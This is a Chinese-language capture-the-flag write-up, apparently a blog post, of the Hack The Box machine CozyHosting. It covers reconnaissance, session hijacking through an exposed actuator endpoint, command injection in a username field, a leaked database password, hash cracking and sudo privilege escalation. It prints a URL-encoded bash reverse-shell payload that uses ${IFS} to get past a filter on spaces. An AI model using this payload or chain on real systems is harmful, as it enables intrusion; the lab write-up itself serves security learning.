HACK THE BOX --CozyHosting

一 信息搜集

开放了 22和80端口

sudo nmap -sS -sV -A  10.10.11.230

绑定hosts访问80端口

页面如图

进行目录爆破

dirsearch -u http://cozyhosting.htb

把有显示的目录去访问一下,在actuator/sessions ,发现一个用户的sessions,拿到这个session就可以绕过登陆

二 漏洞测试

访问login界面,直接点击右上角刷新,然后两次替换session就可以登陆了

两次替换成自己的session即可登陆成功

登陆后的界面,其他没什么地方可以利用,对下面两个字段抓包提交,发现username可以命令执行,下面就是反弹shell

反弹shell时,他会提示username字段不可以有空格,尝试各种方法,最后这样终于反弹成功了

IP换成自己即可

`bash${IFS}-i${IFS}>%26${IFS}/dev/tcp/10.10.14.42/4444%090>%261`

成功接受到shell,ls命令查看到有一个jar包

在靶机上开启web服务,然后将他下载下来

python3 -m http.server 8090

wget http://10.10.11.230/cloudhosting-0.0.1.jar 

 

 

尝试对他反编译,jar反编译参考链接

IDEA反编译Jar包_idea怎么反编译jar包-CSDN博客

最后查找到一组数据库登陆的密码 postgres:Vg&nvzAQ7XxR

PostgreSQL数据库命令参考链接:https://www.cnblogs.com/echohye/p/17671650.html

对数据库进行连接

psql -U postgres -W -h localhost -d cozyhosting

查看到admin加密的密码对他进行爆破,将加密的密码保存到2.txt中然后进行爆破

john 2.txt --wordlist=/usr/share/wordlists/rockyou.txt

得到密码 

尝试ssh登陆,但是登陆失败

转回来看账户组信息,发现没有admin用户 ,但是有一个josh用户,这也是靶场设计好了的,不然这个权限一般是看不到/etc/passed文件的

再次登陆显示登陆成功

拿到普通用户flag

sudo -l看一下有什么特殊权限

有,在网上搜索一下提权方法

参考连接 ssh | GTFOBins

这个网站非常好,有许多提取的方法

输入命令,提权成功,拿到root

  • 16
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
HackTheBox - Reel是一个在黑客社区非常受欢迎的虚拟机靶场。这个靶场的目标是通过渗透测试和攻击手法,找到并获得系统的管理员权限。靶场基于漏洞存在和网络安全问题,提供了一个真实的环境来练习和提升安全技能。 Reel虚拟机是以恶意软件传播为主题的,这是一个很常见但危险的网络攻击。在解决这个靶场时,你需要进行全面的信息搜集,发现可能的漏洞,并利用这些漏洞来控制系统。你还需要进行各种网络嗅探和流量分析操作,以便找到系统中的隐藏服务和登录凭证。 在攻击过程中,你需要利用各种漏洞包括未经授权的访问和远程执行代码等。还需要理解和使用不同的入侵技术,例如命令注入和文件上传等。此外,你可能还需要对恶意软件的分析和行为进行深入研究,以了解其运行机制。 HackTheBox - Reel不仅测试了你的渗透测试技能,而且还促使你加强对恶意软件攻击和防护的了解。同时,这个靶场还有很多高级技术和技巧需要掌握。通过挑战这样的虚拟机,你可以提高你的安全意识和技能,以应对更复杂和高级的网络攻击。 总之,HackTheBox - Reel是一个非常有挑战性的虚拟机靶场,通过攻击和渗透测试,你将提高你的安全技能,并了解到如何防范和对抗恶意软件传播。这是一个很好的方式来锻炼和提升你的网络安全技术。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值